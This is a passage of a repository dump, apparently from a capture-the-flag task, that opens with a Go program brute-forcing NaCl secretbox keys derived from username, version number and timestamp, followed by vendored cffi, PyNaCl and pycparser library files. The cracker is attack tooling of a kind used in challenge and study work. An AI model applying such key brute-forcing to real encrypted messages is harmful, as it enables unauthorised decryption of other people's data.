func main() { 62 | // Open username file. 63 | file, _ := os.Open(username_file) 64 | defer file.Close() 65 | scanner := bufio.NewScanner(file) 66 | 67 | // Setup benchmarking variables. 68 | usernameCount := 0 69 | checkpoint := time.Now().UnixMilli() 70 | currentTime := checkpoint 71 | diff := currentTime - checkpoint 72 | 73 | // CPU count determines how many consumers we make. 74 | fmt.Println("CPU Count:", runtime.NumCPU()) 75 | 76 | // Make channel for passing usernames to consumers 77 | userChan := make(chan string) 78 | 79 | // Make consumer routine for each CPU. 80 | for i := 0; i < runtime.NumCPU(); i++ { 81 | go testUsername(userChan) 82 | } 83 | 84 | // Make and start spinner. 85 | start := time.Now() 86 | s := spinner.New(spinner.CharSets[14], 100*time.Millisecond) 87 | s.Suffix = fmt.Sprintf(" Usernames/Second: %3.3f, Time Elapsed: %v", 0.0, time.Since(start)) 88 | s.Color("yellow") 89 | s.Start() 90 | defer s.Stop() 91 | 92 | // Iterate over every username in username file. 93 | for scanner.Scan() { 94 | // New username. 95 | username := strings.ToLower(scanner.Text()) 96 | 97 | // Send username to goroutines. 98 | userChan <- username 99 | 100 | // Benchmark every 100 usernames 101 | if usernameCount%100 == 0 && usernameCount != 0 { 102 | currentTime = time.Now().UnixMilli() 103 | 104 | diff = currentTime - checkpoint 105 | 106 | // Don't divide by zero. 107 | if diff == 0 { 108 | diff = 1 109 | } 110 | 111 | wps := (100.0 * 1000.0) / float32(diff) 112 | 113 | // Update metrics. 114 | s.Suffix = fmt.Sprintf(" Usernames/Second: %3.3f, Time Elapsed: %v", wps, time.Since(start)) 115 | 116 | checkpoint = currentTime 117 | } 118 | 119 | usernameCount++ 120 | } 121 | } 122 | 123 | // For each word, test every: 124 | // Version from 0.0.0.0 to 9.9.9.9 and 125 | // Timestamp from timestamp-1 to timestamp+1 126 | // for each message. 127 | func testUsername(userChan chan string) { 128 | var u string 129 | for { 130 | u = <-userChan 131 | for v1 := 0; v1 < 10; v1++ { 132 | for v2 := 0; v2 < 10; v2++ { 133 | for v3 := 0; v3 < 10; v3++ { 134 | for v4 := 0; v4 < 10; v4++ { 135 | for i, m := range messages { 136 | for t := m.Timestamp - 1; t <= m.Timestamp+1; t++ { 137 | k := fmt.Sprintf("%s+%d.%d.%d.%d+%d", u, v1, v2, v3, v4, t) 138 | key := sha256.Sum256([]byte(k)) 139 | if _, ok := secretbox.Open(nil, m.Ciphertext, m.Nonce, &key); ok { 140 | info := color.New(color.FgGreen).PrintfFunc() 141 | info("\n[+] %s\n", k) 142 | // Remove message from list, probably safe *shrug*. 143 | messages[i] = messages[len(messages)-1] 144 | messages = messages[:len(messages)-1] 145 | } 146 | 147 | } 148 | } 149 | } 150 | } 151 | } 152 | } 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/pkgconfig.py: -------------------------------------------------------------------------------- 1 | # pkg-config, https://www.freedesktop.org/wiki/Software/pkg-config/ integration for cffi 2 | import sys, os, subprocess 3 | 4 | from .error import PkgConfigError 5 | 6 | 7 | def merge_flags(cfg1, cfg2): 8 | """Merge values from cffi config flags cfg2 to cf1 9 | 10 | Example: 11 | merge_flags({"libraries": ["one"]}, {"libraries": ["two"]}) 12 | {"libraries": ["one", "two"]} 13 | """ 14 | for key, value in cfg2.items(): 15 | if key not in cfg1: 16 | cfg1[key] = value 17 | else: 18 | if not isinstance(cfg1[key], list): 19 | raise TypeError("cfg1[%r] should be a list of strings" % (key,)) 20 | if not isinstance(value, list): 21 | raise TypeError("cfg2[%r] should be a list of strings" % (key,)) 22 | cfg1[key].extend(value) 23 | return cfg1 24 | 25 | 26 | def call(libname, flag, encoding=sys.getfilesystemencoding()): 27 | """Calls pkg-config and returns the output if found 28 | """ 29 | a = ["pkg-config", "--print-errors"] 30 | a.append(flag) 31 | a.append(libname) 32 | try: 33 | pc = subprocess.Popen(a, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 34 | except EnvironmentError as e: 35 | raise PkgConfigError("cannot run pkg-config: %s" % (str(e).strip(),)) 36 | 37 | bout, berr = pc.communicate() 38 | if pc.returncode != 0: 39 | try: 40 | berr = berr.decode(encoding) 41 | except Exception: 42 | pass 43 | raise PkgConfigError(berr.strip()) 44 | 45 | if sys.version_info >= (3,) and not isinstance(bout, str): # Python 3.x 46 | try: 47 | bout = bout.decode(encoding) 48 | except UnicodeDecodeError: 49 | raise PkgConfigError("pkg-config %s %s returned bytes that cannot " 50 | "be decoded with encoding %r:\n%r" % 51 | (flag, libname, encoding, bout)) 52 | 53 | if os.altsep != '\\' and '\\' in bout: 54 | raise PkgConfigError("pkg-config %s %s returned an unsupported " 55 | "backslash-escaped output:\n%r" % 56 | (flag, libname, bout)) 57 | return bout 58 | 59 | 60 | def flags_from_pkgconfig(libs): 61 | r"""Return compiler line flags for FFI.set_source based on pkg-config output 62 | 63 | Usage 64 | ... 65 | ffibuilder.set_source("_foo", pkgconfig = ["libfoo", "libbar >= 1.8.3"]) 66 | 67 | If pkg-config is installed on build machine, then arguments include_dirs, 68 | library_dirs, libraries, define_macros, extra_compile_args and 69 | extra_link_args are extended with an output of pkg-config for libfoo and 70 | libbar. 71 | 72 | Raises PkgConfigError in case the pkg-config call fails. 73 | """ 74 | 75 | def get_include_dirs(string): 76 | return [x[2:] for x in string.split() if x.startswith("-I")] 77 | 78 | def get_library_dirs(string): 79 | return [x[2:] for x in string.split() if x.startswith("-L")] 80 | 81 | def get_libraries(string): 82 | return [x[2:] for x in string.split() if x.startswith("-l")] 83 | 84 | # convert -Dfoo=bar to list of tuples [("foo", "bar")] expected by distutils 85 | def get_macros(string): 86 | def _macro(x): 87 | x = x[2:] # drop "-D" 88 | if '=' in x: 89 | return tuple(x.split("=", 1)) # "-Dfoo=bar" => ("foo", "bar") 90 | else: 91 | return (x, None) # "-Dfoo" => ("foo", None) 92 | return [_macro(x) for x in string.split() if x.startswith("-D")] 93 | 94 | def get_other_cflags(string): 95 | return [x for x in string.split() if not x.startswith("-I") and 96 | not x.startswith("-D")] 97 | 98 | def get_other_libs(string): 99 | return [x for x in string.split() if not x.startswith("-L") and 100 | not x.startswith("-l")] 101 | 102 | # return kwargs for given libname 103 | def kwargs(libname): 104 | fse = sys.getfilesystemencoding() 105 | all_cflags = call(libname, "--cflags") 106 | all_libs = call(libname, "--libs") 107 | return { 108 | "include_dirs": get_include_dirs(all_cflags), 109 | "library_dirs": get_library_dirs(all_libs), 110 | "libraries": get_libraries(all_libs), 111 | "define_macros": get_macros(all_cflags), 112 | "extra_compile_args": get_other_cflags(all_cflags), 113 | "extra_link_args": get_other_libs(all_libs), 114 | } 115 | 116 | # merge all arguments together 117 | ret = {} 118 | for libname in libs: 119 | lib_flags = kwargs(libname) 120 | merge_flags(ret, lib_flags) 121 | return ret 122 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/bindings/utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013-2017 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | from __future__ import absolute_import, division, print_function 15 | 16 | from six import integer_types 17 | 18 | import nacl.exceptions as exc 19 | from nacl._sodium import ffi, lib 20 | from nacl.exceptions import ensure 21 | 22 | 23 | def sodium_memcmp(inp1, inp2): 24 | """ 25 | Compare contents of two memory regions in constant time 26 | """ 27 | ensure(isinstance(inp1, bytes), 28 | raising=exc.TypeError) 29 | ensure(isinstance(inp2, bytes), 30 | raising=exc.TypeError) 31 | 32 | ln = max(len(inp1), len(inp2)) 33 | 34 | buf1 = ffi.new("char []", ln) 35 | buf2 = ffi.new("char []", ln) 36 | 37 | ffi.memmove(buf1, inp1, len(inp1)) 38 | ffi.memmove(buf2, inp2, len(inp2)) 39 | 40 | eqL = len(inp1) == len(inp2) 41 | eqC = lib.sodium_memcmp(buf1, buf2, ln) == 0 42 | 43 | return eqL and eqC 44 | 45 | 46 | def sodium_pad(s, blocksize): 47 | """ 48 | Pad the input bytearray ``s`` to a multiple of ``blocksize`` 49 | using the ISO/IEC 7816-4 algorithm 50 | 51 | :param s: input bytes string 52 | :type s: bytes 53 | :param blocksize: 54 | :type blocksize: int 55 | :return: padded string 56 | :rtype: bytes 57 | """ 58 | ensure(isinstance(s, bytes), 59 | raising=exc.TypeError) 60 | ensure(isinstance(blocksize, integer_types), 61 | raising=exc.TypeError) 62 | if blocksize <= 0: 63 | raise exc.ValueError 64 | s_len = len(s) 65 | m_len = s_len + blocksize 66 | buf = ffi.new("unsigned char []", m_len) 67 | p_len = ffi.new("size_t []", 1) 68 | ffi.memmove(buf, s, s_len) 69 | rc = lib.sodium_pad(p_len, buf, s_len, blocksize, m_len) 70 | ensure(rc == 0, "Padding failure", raising=exc.CryptoError) 71 | return ffi.buffer(buf, p_len[0])[:] 72 | 73 | 74 | def sodium_unpad(s, blocksize): 75 | """ 76 | Remove ISO/IEC 7816-4 padding from the input byte array ``s`` 77 | 78 | :param s: input bytes string 79 | :type s: bytes 80 | :param blocksize: 81 | :type blocksize: int 82 | :return: unpadded string 83 | :rtype: bytes 84 | """ 85 | ensure(isinstance(s, bytes), 86 | raising=exc.TypeError) 87 | ensure(isinstance(blocksize, integer_types), 88 | raising=exc.TypeError) 89 | s_len = len(s) 90 | u_len = ffi.new("size_t []", 1) 91 | rc = lib.sodium_unpad(u_len, s, s_len, blocksize) 92 | if rc != 0: 93 | raise exc.CryptoError("Unpadding failure") 94 | return s[:u_len[0]] 95 | 96 | 97 | def sodium_increment(inp): 98 | """ 99 | Increment the value of a byte-sequence interpreted 100 | as the little-endian representation of a unsigned big integer. 101 | 102 | :param inp: input bytes buffer 103 | :type inp: bytes 104 | :return: a byte-sequence representing, as a little-endian 105 | unsigned big integer, the value ``to_int(inp)`` 106 | incremented by one. 107 | :rtype: bytes 108 | 109 | """ 110 | ensure(isinstance(inp, bytes), 111 | raising=exc.TypeError) 112 | 113 | ln = len(inp) 114 | buf = ffi.new("unsigned char []", ln) 115 | 116 | ffi.memmove(buf, inp, ln) 117 | 118 | lib.sodium_increment(buf, ln) 119 | 120 | return ffi.buffer(buf, ln)[:] 121 | 122 | 123 | def sodium_add(a, b): 124 | """ 125 | Given a couple of *same-sized* byte sequences, interpreted as the 126 | little-endian representation of two unsigned integers, compute 127 | the modular addition of the represented values, in constant time for 128 | a given common length of the byte sequences. 129 | 130 | :param a: input bytes buffer 131 | :type a: bytes 132 | :param b: input bytes buffer 133 | :type b: bytes 134 | :return: a byte-sequence representing, as a little-endian big integer, 135 | the integer value of ``(to_int(a) + to_int(b)) mod 2^(8*len(a))`` 136 | :rtype: bytes 137 | """ 138 | ensure(isinstance(a, bytes), 139 | raising=exc.TypeError) 140 | ensure(isinstance(b, bytes), 141 | raising=exc.TypeError) 142 | ln = len(a) 143 | ensure(len(b) == ln, 144 | raising=exc.TypeError) 145 | 146 | buf_a = ffi.new("unsigned char []", ln) 147 | buf_b = ffi.new("unsigned char []", ln) 148 | 149 | ffi.memmove(buf_a, a, ln) 150 | ffi.memmove(buf_b, b, ln) 151 | 152 | lib.sodium_add(buf_a, buf_b, ln) 153 | 154 | return ffi.buffer(buf_a, ln)[:] 155 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/_c_ast.cfg: -------------------------------------------------------------------------------- 1 | #----------------------------------------------------------------- 2 | # pycparser: _c_ast.cfg 3 | # 4 | # Defines the AST Node classes used in pycparser. 5 | # 6 | # Each entry is a Node sub-class name, listing the attributes 7 | # and child nodes of the class: 8 | # * - a child node 9 | # ** - a sequence of child nodes 10 | # - an attribute 11 | # 12 | # Eli Bendersky [https://eli.thegreenplace.net/] 13 | # License: BSD 14 | #----------------------------------------------------------------- 15 | 16 | # ArrayDecl is a nested declaration of an array with the given type. 17 | # dim: the dimension (for example, constant 42) 18 | # dim_quals: list of dimension qualifiers, to support C99's allowing 'const' 19 | # and 'static' within the array dimension in function declarations. 20 | ArrayDecl: [type*, dim*, dim_quals] 21 | 22 | ArrayRef: [name*, subscript*] 23 | 24 | # op: =, +=, /= etc. 25 | # 26 | Assignment: [op, lvalue*, rvalue*] 27 | 28 | BinaryOp: [op, left*, right*] 29 | 30 | Break: [] 31 | 32 | Case: [expr*, stmts**] 33 | 34 | Cast: [to_type*, expr*] 35 | 36 | # Compound statement in C99 is a list of block items (declarations or 37 | # statements). 38 | # 39 | Compound: [block_items**] 40 | 41 | # Compound literal (anonymous aggregate) for C99. 42 | # (type-name) {initializer_list} 43 | # type: the typename 44 | # init: InitList for the initializer list 45 | # 46 | CompoundLiteral: [type*, init*] 47 | 48 | # type: int, char, float, etc. see CLexer for constant token types 49 | # 50 | Constant: [type, value] 51 | 52 | Continue: [] 53 | 54 | # name: the variable being declared 55 | # quals: list of qualifiers (const, volatile) 56 | # funcspec: list function specifiers (i.e. inline in C99) 57 | # storage: list of storage specifiers (extern, register, etc.) 58 | # type: declaration type (probably nested with all the modifiers) 59 | # init: initialization value, or None 60 | # bitsize: bit field size, or None 61 | # 62 | Decl: [name, quals, storage, funcspec, type*, init*, bitsize*] 63 | 64 | DeclList: [decls**] 65 | 66 | Default: [stmts**] 67 | 68 | DoWhile: [cond*, stmt*] 69 | 70 | # Represents the ellipsis (...) parameter in a function 71 | # declaration 72 | # 73 | EllipsisParam: [] 74 | 75 | # An empty statement (a semicolon ';' on its own) 76 | # 77 | EmptyStatement: [] 78 | 79 | # Enumeration type specifier 80 | # name: an optional ID 81 | # values: an EnumeratorList 82 | # 83 | Enum: [name, values*] 84 | 85 | # A name/value pair for enumeration values 86 | # 87 | Enumerator: [name, value*] 88 | 89 | # A list of enumerators 90 | # 91 | EnumeratorList: [enumerators**] 92 | 93 | # A list of expressions separated by the comma operator. 94 | # 95 | ExprList: [exprs**] 96 | 97 | # This is the top of the AST, representing a single C file (a 98 | # translation unit in K&R jargon). It contains a list of 99 | # "external-declaration"s, which is either declarations (Decl), 100 | # Typedef or function definitions (FuncDef). 101 | # 102 | FileAST: [ext**] 103 | 104 | # for (init; cond; next) stmt 105 | # 106 | For: [init*, cond*, next*, stmt*] 107 | 108 | # name: Id 109 | # args: ExprList 110 | # 111 | FuncCall: [name*, args*] 112 | 113 | # type (args) 114 | # 115 | FuncDecl: [args*, type*] 116 | 117 | # Function definition: a declarator for the function name and 118 | # a body, which is a compound statement. 119 | # There's an optional list of parameter declarations for old 120 | # K&R-style definitions 121 | # 122 | FuncDef: [decl*, param_decls**, body*] 123 | 124 | Goto: [name] 125 | 126 | ID: [name] 127 | 128 | # Holder for types that are a simple identifier (e.g. the built 129 | # ins void, char etc. and typedef-defined types) 130 | # 131 | IdentifierType: [names] 132 | 133 | If: [cond*, iftrue*, iffalse*] 134 | 135 | # An initialization list used for compound literals. 136 | # 137 | InitList: [exprs**] 138 | 139 | Label: [name, stmt*] 140 | 141 | # A named initializer for C99. 142 | # The name of a NamedInitializer is a sequence of Nodes, because 143 | # names can be hierarchical and contain constant expressions. 144 | # 145 | NamedInitializer: [name**, expr*] 146 | 147 | # a list of comma separated function parameter declarations 148 | # 149 | ParamList: [params**] 150 | 151 | PtrDecl: [quals, type*] 152 | 153 | Return: [expr*] 154 | 155 | # name: struct tag name 156 | # decls: declaration of members 157 | # 158 | Struct: [name, decls**] 159 | 160 | # type: . or -> 161 | # name.field or name->field 162 | # 163 | StructRef: [name*, type, field*] 164 | 165 | Switch: [cond*, stmt*] 166 | 167 | # cond ? iftrue : iffalse 168 | # 169 | TernaryOp: [cond*, iftrue*, iffalse*] 170 | 171 | # A base type declaration 172 | # 173 | TypeDecl: [declname, quals, type*] 174 | 175 | # A typedef declaration. 176 | # Very similar to Decl, but without some attributes 177 | # 178 | Typedef: [name, quals, storage, type*] 179 | 180 | Typename: [name, quals, type*] 181 | 182 | UnaryOp: [op, expr*] 183 | 184 | # name: union tag name 185 | # decls: declaration of members 186 | # 187 | Union: [name, decls**] 188 | 189 | While: [cond*, stmt*] 190 | 191 | Pragma: [string] 192 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/pwhash/argon2i.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | from __future__ import absolute_import 15 | from __future__ import division 16 | 17 | import nacl.bindings 18 | import nacl.encoding 19 | 20 | from . import _argon2 21 | 22 | ALG = _argon2.ALG_ARGON2I13 23 | STRPREFIX = nacl.bindings.crypto_pwhash_argon2i_STRPREFIX 24 | 25 | SALTBYTES = _argon2.SALTBYTES 26 | 27 | PASSWD_MIN = _argon2.PASSWD_MIN 28 | PASSWD_MAX = _argon2.PASSWD_MAX 29 | 30 | PWHASH_SIZE = _argon2.PWHASH_SIZE 31 | 32 | BYTES_MIN = _argon2.BYTES_MIN 33 | BYTES_MAX = _argon2.BYTES_MAX 34 | 35 | verify = _argon2.verify 36 | 37 | MEMLIMIT_MAX = nacl.bindings.crypto_pwhash_argon2i_MEMLIMIT_MAX 38 | MEMLIMIT_MIN = nacl.bindings.crypto_pwhash_argon2i_MEMLIMIT_MIN 39 | OPSLIMIT_MAX = nacl.bindings.crypto_pwhash_argon2i_OPSLIMIT_MAX 40 | OPSLIMIT_MIN = nacl.bindings.crypto_pwhash_argon2i_OPSLIMIT_MIN 41 | 42 | OPSLIMIT_INTERACTIVE = \ 43 | nacl.bindings.crypto_pwhash_argon2i_OPSLIMIT_INTERACTIVE 44 | MEMLIMIT_INTERACTIVE = \ 45 | nacl.bindings.crypto_pwhash_argon2i_MEMLIMIT_INTERACTIVE 46 | OPSLIMIT_SENSITIVE = \ 47 | nacl.bindings.crypto_pwhash_argon2i_OPSLIMIT_SENSITIVE 48 | MEMLIMIT_SENSITIVE = \ 49 | nacl.bindings.crypto_pwhash_argon2i_MEMLIMIT_SENSITIVE 50 | 51 | OPSLIMIT_MODERATE = \ 52 | nacl.bindings.crypto_pwhash_argon2i_OPSLIMIT_MODERATE 53 | MEMLIMIT_MODERATE = \ 54 | nacl.bindings.crypto_pwhash_argon2i_MEMLIMIT_MODERATE 55 | 56 | 57 | def kdf(size, password, salt, 58 | opslimit=OPSLIMIT_SENSITIVE, 59 | memlimit=MEMLIMIT_SENSITIVE, 60 | encoder=nacl.encoding.RawEncoder): 61 | """ 62 | Derive a ``size`` bytes long key from a caller-supplied 63 | ``password`` and ``salt`` pair using the argon2i 64 | memory-hard construct. 65 | 66 | the enclosing module provides the constants 67 | 68 | - :py:const:`.OPSLIMIT_INTERACTIVE` 69 | - :py:const:`.MEMLIMIT_INTERACTIVE` 70 | - :py:const:`.OPSLIMIT_MODERATE` 71 | - :py:const:`.MEMLIMIT_MODERATE` 72 | - :py:const:`.OPSLIMIT_SENSITIVE` 73 | - :py:const:`.MEMLIMIT_SENSITIVE` 74 | 75 | as a guidance for correct settings. 76 | 77 | :param size: derived key size, must be between 78 | :py:const:`.BYTES_MIN` and 79 | :py:const:`.BYTES_MAX` 80 | :type size: int 81 | :param password: password used to seed the key derivation procedure; 82 | it length must be between 83 | :py:const:`.PASSWD_MIN` and 84 | :py:const:`.PASSWD_MAX` 85 | :type password: bytes 86 | :param salt: **RANDOM** salt used in the key derivation procedure; 87 | its length must be exactly :py:const:`.SALTBYTES` 88 | :type salt: bytes 89 | :param opslimit: the time component (operation count) 90 | of the key derivation procedure's computational cost; 91 | it must be between 92 | :py:const:`.OPSLIMIT_MIN` and 93 | :py:const:`.OPSLIMIT_MAX` 94 | :type opslimit: int 95 | :param memlimit: the memory occupation component 96 | of the key derivation procedure's computational cost; 97 | it must be between 98 | :py:const:`.MEMLIMIT_MIN` and 99 | :py:const:`.MEMLIMIT_MAX` 100 | :type memlimit: int 101 | :rtype: bytes 102 | 103 | .. versionadded:: 1.2 104 | """ 105 | 106 | return encoder.encode( 107 | nacl.bindings.crypto_pwhash_alg(size, password, salt, 108 | opslimit, memlimit, 109 | ALG) 110 | ) 111 | 112 | 113 | def str(password, 114 | opslimit=OPSLIMIT_INTERACTIVE, 115 | memlimit=MEMLIMIT_INTERACTIVE): 116 | """ 117 | Hashes a password with a random salt, using the memory-hard 118 | argon2i construct and returning an ascii string that has all 119 | the needed info to check against a future password 120 | 121 | 122 | The default settings for opslimit and memlimit are those deemed 123 | correct for the interactive user login case. 124 | 125 | :param bytes password: 126 | :param int opslimit: 127 | :param int memlimit: 128 | :rtype: bytes 129 | 130 | .. versionadded:: 1.2 131 | """ 132 | return nacl.bindings.crypto_pwhash_str_alg(password, 133 | opslimit, 134 | memlimit, 135 | ALG) 136 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/pwhash/argon2id.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | from __future__ import absolute_import 15 | from __future__ import division 16 | 17 | import nacl.bindings 18 | import nacl.encoding 19 | 20 | from . import _argon2 21 | 22 | ALG = _argon2.ALG_ARGON2ID13 23 | STRPREFIX = nacl.bindings.crypto_pwhash_argon2id_STRPREFIX 24 | 25 | SALTBYTES = _argon2.SALTBYTES 26 | 27 | PASSWD_MIN = _argon2.PASSWD_MIN 28 | PASSWD_MAX = _argon2.PASSWD_MAX 29 | 30 | PWHASH_SIZE = _argon2.PWHASH_SIZE 31 | 32 | BYTES_MIN = _argon2.BYTES_MIN 33 | BYTES_MAX = _argon2.BYTES_MAX 34 | 35 | verify = _argon2.verify 36 | 37 | MEMLIMIT_MIN = nacl.bindings.crypto_pwhash_argon2id_MEMLIMIT_MIN 38 | MEMLIMIT_MAX = nacl.bindings.crypto_pwhash_argon2id_MEMLIMIT_MAX 39 | OPSLIMIT_MIN = nacl.bindings.crypto_pwhash_argon2id_OPSLIMIT_MIN 40 | OPSLIMIT_MAX = nacl.bindings.crypto_pwhash_argon2id_OPSLIMIT_MAX 41 | 42 | OPSLIMIT_INTERACTIVE = \ 43 | nacl.bindings.crypto_pwhash_argon2id_OPSLIMIT_INTERACTIVE 44 | MEMLIMIT_INTERACTIVE = \ 45 | nacl.bindings.crypto_pwhash_argon2id_MEMLIMIT_INTERACTIVE 46 | OPSLIMIT_SENSITIVE = \ 47 | nacl.bindings.crypto_pwhash_argon2id_OPSLIMIT_SENSITIVE 48 | MEMLIMIT_SENSITIVE = \ 49 | nacl.bindings.crypto_pwhash_argon2id_MEMLIMIT_SENSITIVE 50 | 51 | OPSLIMIT_MODERATE = \ 52 | nacl.bindings.crypto_pwhash_argon2id_OPSLIMIT_MODERATE 53 | MEMLIMIT_MODERATE = \ 54 | nacl.bindings.crypto_pwhash_argon2id_MEMLIMIT_MODERATE 55 | 56 | 57 | def kdf(size, password, salt, 58 | opslimit=OPSLIMIT_SENSITIVE, 59 | memlimit=MEMLIMIT_SENSITIVE, 60 | encoder=nacl.encoding.RawEncoder): 61 | """ 62 | Derive a ``size`` bytes long key from a caller-supplied 63 | ``password`` and ``salt`` pair using the argon2i 64 | memory-hard construct. 65 | 66 | the enclosing module provides the constants 67 | 68 | - :py:const:`.OPSLIMIT_INTERACTIVE` 69 | - :py:const:`.MEMLIMIT_INTERACTIVE` 70 | - :py:const:`.OPSLIMIT_MODERATE` 71 | - :py:const:`.MEMLIMIT_MODERATE` 72 | - :py:const:`.OPSLIMIT_SENSITIVE` 73 | - :py:const:`.MEMLIMIT_SENSITIVE` 74 | 75 | as a guidance for correct settings. 76 | 77 | :param size: derived key size, must be between 78 | :py:const:`.BYTES_MIN` and 79 | :py:const:`.BYTES_MAX` 80 | :type size: int 81 | :param password: password used to seed the key derivation procedure; 82 | it length must be between 83 | :py:const:`.PASSWD_MIN` and 84 | :py:const:`.PASSWD_MAX` 85 | :type password: bytes 86 | :param salt: **RANDOM** salt used in the key derivation procedure; 87 | its length must be exactly :py:const:`.SALTBYTES` 88 | :type salt: bytes 89 | :param opslimit: the time component (operation count) 90 | of the key derivation procedure's computational cost; 91 | it must be between 92 | :py:const:`.OPSLIMIT_MIN` and 93 | :py:const:`.OPSLIMIT_MAX` 94 | :type opslimit: int 95 | :param memlimit: the memory occupation component 96 | of the key derivation procedure's computational cost; 97 | it must be between 98 | :py:const:`.MEMLIMIT_MIN` and 99 | :py:const:`.MEMLIMIT_MAX` 100 | :type memlimit: int 101 | :rtype: bytes 102 | 103 | .. versionadded:: 1.2 104 | """ 105 | 106 | return encoder.encode( 107 | nacl.bindings.crypto_pwhash_alg(size, password, salt, 108 | opslimit, memlimit, 109 | ALG) 110 | ) 111 | 112 | 113 | def str(password, 114 | opslimit=OPSLIMIT_INTERACTIVE, 115 | memlimit=MEMLIMIT_INTERACTIVE): 116 | """ 117 | Hashes a password with a random salt, using the memory-hard 118 | argon2id construct and returning an ascii string that has all 119 | the needed info to check against a future password 120 | 121 | The default settings for opslimit and memlimit are those deemed 122 | correct for the interactive user login case. 123 | 124 | :param bytes password: 125 | :param int opslimit: 126 | :param int memlimit: 127 | :rtype: bytes 128 | 129 | .. versionadded:: 1.2 130 | """ 131 | return nacl.bindings.crypto_pwhash_str_alg(password, 132 | opslimit, 133 | memlimit, 134 | ALG) 135 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser/plyparser.py: -------------------------------------------------------------------------------- 1 | #----------------------------------------------------------------- 2 | # plyparser.py 3 | # 4 | # PLYParser class and other utilites for simplifying programming 5 | # parsers with PLY 6 | # 7 | # Eli Bendersky [https://eli.thegreenplace.net/] 8 | # License: BSD 9 | #----------------------------------------------------------------- 10 | 11 | import warnings 12 | 13 | class Coord(object): 14 | """ Coordinates of a syntactic element. Consists of: 15 | - File name 16 | - Line number 17 | - (optional) column number, for the Lexer 18 | """ 19 | __slots__ = ('file', 'line', 'column', '__weakref__') 20 | def __init__(self, file, line, column=None): 21 | self.file = file 22 | self.line = line 23 | self.column = column 24 | 25 | def __str__(self): 26 | str = "%s:%s" % (self.file, self.line) 27 | if self.column: str += ":%s" % self.column 28 | return str 29 | 30 | 31 | class ParseError(Exception): pass 32 | 33 | 34 | class PLYParser(object): 35 | def _create_opt_rule(self, rulename): 36 | """ Given a rule name, creates an optional ply.yacc rule 37 | for it. The name of the optional rule is 38 | _opt 39 | """ 40 | optname = rulename + '_opt' 41 | 42 | def optrule(self, p): 43 | p[0] = p[1] 44 | 45 | optrule.__doc__ = '%s : empty\n| %s' % (optname, rulename) 46 | optrule.__name__ = 'p_%s' % optname 47 | setattr(self.__class__, optrule.__name__, optrule) 48 | 49 | def _coord(self, lineno, column=None): 50 | return Coord( 51 | file=self.clex.filename, 52 | line=lineno, 53 | column=column) 54 | 55 | def _token_coord(self, p, token_idx): 56 | """ Returns the coordinates for the YaccProduction objet 'p' indexed 57 | with 'token_idx'. The coordinate includes the 'lineno' and 58 | 'column'. Both follow the lex semantic, starting from 1. 59 | """ 60 | last_cr = p.lexer.lexer.lexdata.rfind('\n', 0, p.lexpos(token_idx)) 61 | if last_cr < 0: 62 | last_cr = -1 63 | column = (p.lexpos(token_idx) - (last_cr)) 64 | return self._coord(p.lineno(token_idx), column) 65 | 66 | def _parse_error(self, msg, coord): 67 | raise ParseError("%s: %s" % (coord, msg)) 68 | 69 | 70 | def parameterized(*params): 71 | """ Decorator to create parameterized rules. 72 | 73 | Parameterized rule methods must be named starting with 'p_' and contain 74 | 'xxx', and their docstrings may contain 'xxx' and 'yyy'. These will be 75 | replaced by the given parameter tuples. For example, ``p_xxx_rule()`` with 76 | docstring 'xxx_rule : yyy' when decorated with 77 | ``@parameterized(('id', 'ID'))`` produces ``p_id_rule()`` with the docstring 78 | 'id_rule : ID'. Using multiple tuples produces multiple rules. 79 | """ 80 | def decorate(rule_func): 81 | rule_func._params = params 82 | return rule_func 83 | return decorate 84 | 85 | 86 | def template(cls): 87 | """ Class decorator to generate rules from parameterized rule templates. 88 | 89 | See `parameterized` for more information on parameterized rules. 90 | """ 91 | issued_nodoc_warning = False 92 | for attr_name in dir(cls): 93 | if attr_name.startswith('p_'): 94 | method = getattr(cls, attr_name) 95 | if hasattr(method, '_params'): 96 | # Remove the template method 97 | delattr(cls, attr_name) 98 | # Create parameterized rules from this method; only run this if 99 | # the method has a docstring. This is to address an issue when 100 | # pycparser's users are installed in -OO mode which strips 101 | # docstrings away. 102 | # See: https://github.com/eliben/pycparser/pull/198/ and 103 | # https://github.com/eliben/pycparser/issues/197 104 | # for discussion. 105 | if method.__doc__ is not None: 106 | _create_param_rules(cls, method) 107 | elif not issued_nodoc_warning: 108 | 